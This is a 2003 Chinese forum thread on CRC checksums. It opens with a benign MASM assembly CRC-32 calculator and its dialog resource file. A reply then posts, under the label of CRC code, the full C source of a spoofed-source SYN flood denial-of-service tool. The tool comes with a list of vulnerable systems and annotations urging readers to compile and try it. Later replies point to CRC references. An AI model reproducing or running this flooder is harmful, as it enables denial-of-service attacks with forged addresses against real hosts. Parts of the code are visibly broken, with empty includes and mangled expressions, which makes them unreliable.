szText            db    300 dup(?)

.code
main:
    invoke GetModuleHandle, NULL
    invoke DialogBoxParam, eax, offset szDlgName, 0, WndProc, 0
    invoke ExitProcess, eax

WndProc proc uses ebx hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM

    .if uMsg == WM_CLOSE
        invoke EndDialog, hWnd, 0
         
    .elseif uMsg == WM_COMMAND
        mov eax,wParam
        mov edx,eax
        shr edx,16
        movzx eax, ax
        .if edx == BN_CLICKED
            .IF eax == IDCANCEL
                invoke EndDialog, hWnd, NULL
            .ELSEIF eax == IDC_BUTTON_OPEN || eax == IDOK         
                ;******************************************
                ;关键代码开始：（当当当当……）
                ;******************************************
                ;取得用户输入的字符串：
                invoke GetDlgItemText, hWnd, IDC_EDIT_INPUT, addr szBuffer, 255

                ;初始化crc32table：
                invoke init_crc32table

                ;下面赋值给寄存器ebx，以便进行crc32转换：
                ;EBX是待转换的字符串的首地址：
                lea ebx, szBuffer

                ;进行crc32转换：
                invoke arraycrc32

                ;格式化输出：
                invoke wsprintf, addr szText, addr szTemplate, addr szBuffer, eax

                ;好啦，让我们显示结果：
                invoke MessageBox, hWnd, addr szText, addr szTitle, MB_OK
            .ENDIF
        .endif
    .ELSE
        mov eax,FALSE
        ret
    .ENDIF
    mov eax,TRUE
    ret
WndProc endp

;**********************************************************
;函数功能：生成CRC-32表
;**********************************************************
init_crc32table    proc

        ;如果用C语言来表示，应该如下：
        ;
        ;    for (i = 0; i < 256; i++)
        ;    {
        ;        crc = i;
        ;        for (j = 0; j < 8; j++)
        ;        {
        ;            if (crc & 1)
        ;                crc = (crc >> 1) ^ 0xEDB88320;
        ;            else
        ;                crc >>= 1;
        ;        }
        ;        crc32tbl[i] = crc;
        ;    }
        ;
        ;呵呵，让我们把上面的语句改成assembly的：

        mov     ecx, 256        ; repeat for every DWORD in table
        mov     edx, 0EDB88320h
$BigLoop:
        lea     eax, [ecx-1]
        push    ecx
        mov     ecx, 8
$SmallLoop:
        shr     eax, 1
        jnc     @F
        xor     eax, edx
@@:
        dec     ecx
        jne     $SmallLoop
        pop     ecx
        mov     [crc32tbl+ecx*4-4], eax
        dec     ecx
        jne     $BigLoop

        ret
init_crc32table      endp

;**************************************************************
;函数功能：计算CRC-32
;**************************************************************
arraycrc32    proc

        ;计算 CRC-32 ，我采用的是把整个字符串当作一个数组，然后把这个数组的首地址赋值给 EBX，把数组的长度赋值给 ECX，然后循环计算，返回值（计算出来的 CRC-32 值）储存在 EAX 中：
        ;
        ; 参数：
        ;       EBX = address of first byte
        ; 返回值：
        ;       EAX = CRC-32 of the entire array
        ;       EBX = ?
        ;       ECX = 0
        ;       EDX = ?

        mov     eax, -1 ; 先初始化eax
        or      ebx, ebx
        jz      $Done   ; 避免出现空指针
@@:
        mov     dl, [ebx]
        or      dl, dl
        je      $Done    ;判断是否对字符串扫描完毕
         
        ;这里我用查表法来计算 CRC-32 ，因此非常快速：
        ;因为这是assembly代码，所以不需要给这个过程传递参数，只需要把oldcrc赋值给EAX，以及把byte赋值给DL：
        ;
        ; 在C语言中的形式：
        ;
        ;   temp = (oldcrc ^ abyte) & 0x000000FF;
        ;   crc  = (( oldcrc >>  & 0x00FFFFFF) ^ crc32tbl[temp];
        ;
        ; 参数：
        ;       EAX = old CRC-32
        ;        DL = a byte
        ; 返回值：
        ;       EAX = new CRC-32
        ;       EDX = ?
               
        xor     dl, al
        movzx   edx, dl
        shr     eax, 8
        xor     eax, [crc32tbl+edx*4]
         
        inc     ebx         
        jmp     @B

$Done:
        not     eax
        ret
arraycrc32      endp

end main
;********************    over    ********************
;by LC

下面是它的资源文件：

#include "resource.h"

#define IDC_BUTTON_OPEN    3000
#define IDC_EDIT_INPUT 3001
#define IDC_STATIC -1

LC_DIALOG DIALOGEX 10, 10, 195, 60
STYLE DS_SETFONT | DS_CENTER | WS_MINIMIZEBOX | WS_VISIBLE | WS_CAPTION |
    WS_SYSMENU
CAPTION "lc’s assembly framework"
FONT 9, "宋体", 0, 0, 0x0
BEGIN
    LTEXT           "请输入一个字符串（区分大小写）：",IDC_STATIC,11,7,130,10
    EDITTEXT        IDC_EDIT_INPUT,11,20,173,12,ES_AUTOHSCROLL
    DEFPUSHBUTTON   "Ca&lc",IDC_BUTTON_OPEN,71,39,52,15
END

--------------------------------------------------------------------------------
hjzgq 回复于：2003-05-15 14:21:54
希望大家继续讨论

--------------------------------------------------------------------------------
hjzgq 回复于：2003-05-15 16:08:17
这里有几行有关CRC的源代码,欢迎分享
[code:1:97826ccb77][/code:1:97826ccb77]
/*　Syn　Attack　against　a　port　for　Solaris　*/

/*　Original　land　attack,　land.c　by　m3lt,　FLC　*/

/*　Ported　to　44BSD　by　blast　and　jerm　*/

/*　Ported　to　Solaris　by　ziro　antagonist　*/

/*　Referenced　flood.c　by　unknown　author　*/

/*　Converted　into　a　syn　attack　against　one　port　by　CRG　*/

/*　Please　use　this　for　educational　purposes　only　*/

/*　Compiles　on　Solaris　gcc　-o　synsol　synsol.c　-lsocket　-lnsl　*/

/*　Additional　notes:　*/

/*　Successfully　compiled　on　Solaris　2.51　and　2.6　*/

/*　Runs:　synsol　　　　*/

/*　*/

/*　Tested　it　on:　Solaris　2.6　*/

/*　*/

/*　Attacked　against:　*/

/*　Linux　2.0.33　-　vulnerable　*/

/*　Linux　2.0.30　-　vulnerable　*/

/*　Linux　1.2.13　-　vulnerable　*/

/*　Solaris　2.4　-　vulnerable　*/

/*　Solaris　2.5.1　-　vulnerable　*/

/*　SunOS　4.1.3_U3　-　vulnerable　*/

/*　Solaris　2.6　-　not　vulnerable　*/

/*　*/

/*　Most　of　these　test　machines　are　not　patched　because　they　*/

/*　are　in　test　lab.　I　tested　the　program　against　port　23　and　*/

/*　every　once　in　awhile　I　did　get　through.　*/

/*　*/

/*　Direct　any　comments,　questions,　improvements　to　*/

/*　packetstorm@genocide2600.com　*/

/*　http://www.genocide2600.com/~tattooman/　*/

/*　Your　emails　will　be　forwarded　to　the　author,　who　wishes　*/

/*　to　remain　known　only　as　CRG　(no　email　addy　or　URL)　*/

/*jjgirl:上面的注释的不用说了！*/

#include　

#include　

#include　

#include　

#include　

#include　

#include　

#include　

#include　

#include　

#include　

#include　

#include　

#include　

#include　

#include　

/*jjgirl:上面是头文件！*/

　

unsigned　long　srcport;

　

struct　pseudohdr

{

struct　in_addr　saddr;

struct　in_addr　daddr;

u_char　zero;

u_char　protocol;

u_short　length;

struct　tcphdr　tcpheader;

};

/*jjgirl:定义一个伪装地址的结构！*/

　

u_short　checksum(u_short　*　data,u_short　length)

{

int　nleft　=　length;

int　sum=0;

unsigned　short　*w　=　data;

unsigned　short　value　=　0;

　

while　(nleft　>　1)　{

sum　+=　*w++;

nleft　-=　2;

}

　

if　(nleft　==　1)　{

*(unsigned　char　*)　(&value)　=　*(unsigned　char　*)　w;

sum　+=　value;

}

sum　=　(sum　>>16)　+　(sum　&　0xffff);

sum　+=　(sum　>>　16);

value　=　~sum;

return(value);

}

/*jjgirl:上面校验文件！包头是需要校验的，CRC校验！*/

　

　

int　main(int　argc,char　*　*　argv)

{/*jjgirl:主程序开始了！*/

struct　sockaddr_in　sin;

struct　sockaddr_in　din;

struct　hostent　*　hoste;

struct　hostent　*　host1;

int　j,sock,foo,　flooddot=1;

char　buffer[40];

struct　ip　*　ipheader=(struct　ip　*)　buffer;

struct　tcphdr　*　tcpheader=(struct　tcphdr　*)　(buffer+sizeof(struct　ip));

struct　pseudohdr　pseudoheader;

/*jjgirl:上面定义变量！*/

　

fprintf(stderr,"Syn　attack　against　one　port.(Infinite)\n");

　

if(argc<4)

{

fprintf(stderr,"usage:　%s　　　\n",argv[0]);

return(-1);

}

/*jjgirl:上面是判断参数！*/

fprintf(stderr,"%s:%s　is　being　syn'd　attacked　by　%s.\n",argv[1],argv[2],argv[3]);

bzero(&sin,sizeof(struct　sockaddr_in));　/*write　sizeof　to　&sin*/

sin.sin_family=AF_INET;

if((host1=gethostbyname(argv[3]))!=NULL)

bcopy(host1->h_addr,&din.sin_addr,host1->h_length);

else　if((din.sin_addr.s_addr=inet_addr(argv[3]))==-1)

{

fprintf(stderr,"unknown　source　host　%s\n",argv[3]);

return(-1);

}

if((hoste=gethostbyname(argv[1]))!=NULL)

bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);

else　if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)

{

fprintf(stderr,"unknown　destination　host　%s\n",argv[1]);

return(-1);

}

　

if((sin.sin_port=htons(atoi(argv[2])))==0)

{

fprintf(stderr,"unknown　port　%s\n",argv[2]);

return(-1);

}

/*jjgirl:上面是给sockaddr_in结构赋值，需要指明协议，端口号！*/

　

　

　

if((sock=socket(AF_INET,SOCK_RAW,255))==-1)

{

fprintf(stderr,"couldn't　allocate　raw　socket\n");

return(-1);

}

/*jjgirl:上面开始Socket了！*/

　

foo=1;

if(setsockopt(sock,0,IP_HDRINCL,(char　*)&foo,sizeof(int))==-1)

{

fprintf(stderr,"couldn't　set　raw　header　on　socket\n");

return(-1);

}

/*jjgirl:上面是为了重构报头！*/

　

for(j=1;j>0;j++)

{

bzero(&buffer,sizeof(struct　ip)+sizeof(struct　tcphdr));

ipheader->ip_v=4;

ipheader->ip_tos=0;

ipheader->ip_hl=sizeof(struct　ip)/4;

ipheader->ip_len=sizeof(struct　ip)+sizeof(struct　tcphdr);

ipheader->ip_id=htons(random());

ipheader->ip_ttl=30;　/*255;*/

ipheader->ip_p=IPPROTO_TCP;

ipheader->ip_sum=0;

ipheader->ip_src=din.sin_addr;

ipheader->ip_dst=sin.sin_addr;

　

tcpheader->th_sport=htons(srcport);　/*sin.sin_port;*/

tcpheader->th_dport=sin.sin_port;

tcpheader->th_seq=htonl(0x28374839);

tcpheader->th_flags=TH_SYN;

tcpheader->th_off=sizeof(struct　tcphdr)/4;

tcpheader->th_win=htons(204;

tcpheader->th_sum=0;

　

bzero(&pseudoheader,12+sizeof(struct　tcphdr));

pseudoheader.saddr.s_addr=din.sin_addr.s_addr;

pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;

pseudoheader.protocol=6;

pseudoheader.length=htons(sizeof(struct　tcphdr));

bcopy((char　*)　tcpheader,(char　*)　&pseudoheader.tcpheader,sizeof(struct　tcphdr));

tcpheader->th_sum=checksum((u_short　*)　&pseudoheader,12+sizeof(struct　tcphdr));

/*jjgirl:上面是重构报头！*/

　

srcport=　(10000.0*random()/(15000+1.0));

/*jjgirl:端口当然要变！*/

　

if(sendto(sock,buffer,sizeof(struct　ip)+sizeof(struct　tcphdr),0,(struct　sockaddr　*)　&sin,sizeof(struct　sockaddr_in))==-1)

/*jjgirl:攻击开始！*/

{

fprintf(stderr,"couldn't　send　packet,%d\n",errno);

return(-1);

}

usleep(2);

if　(!(flooddot　=　(flooddot+1)%(1)))

{fprintf(stdout,".");fflush(stdout);}

　

/*jjgirl:显示次数！　Jjgirl　把上面一句,改为如下两句,增加显示效果,随你的便！

{fprintf(stdout,".%4d",j);fflush(stdout);}

int　k=j;　if((k%10)==0)　printf("\n");　*/

　

}　/*The　end　of　the　infinite　loop*/

close(sock);

return(0);

}
[code:1:97826ccb77][/code:1:97826ccb77]
/*jjgirl:结束！编译试试吧！

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hjzgq 回复于：2003-05-15 17:39:43
哥几个,给点鼓励呀!
^_^

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无双 回复于：2003-05-15 18:29:38
太乱了
我觉得应该先看懂算法/原理再看代码
你写了那么多我想没有多少用
不如直接把CRC的定义写出来就可以了

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hjzgq 回复于：2003-05-16 09:51:21
实在查不到了,只好慢慢推敲

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fieryfox 回复于：2003-05-16 11:24:14
清华出版社影印版《TCP/IP Protocol Suite》，Behrouz.A. Forouzan
Appendix D  Error Detection对这一问题的介绍非常好。

正在等待这本书第二版的影印版，不知什么时候能有。。。

或者可以参考http://www.4d.com/ACIDOC/CMU/CMU79909.HTM

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mengcl 回复于：2003-11-03 16:37:02
哪位大虾知道CRC16的余数表生成代码啊？这里先谢啦 :

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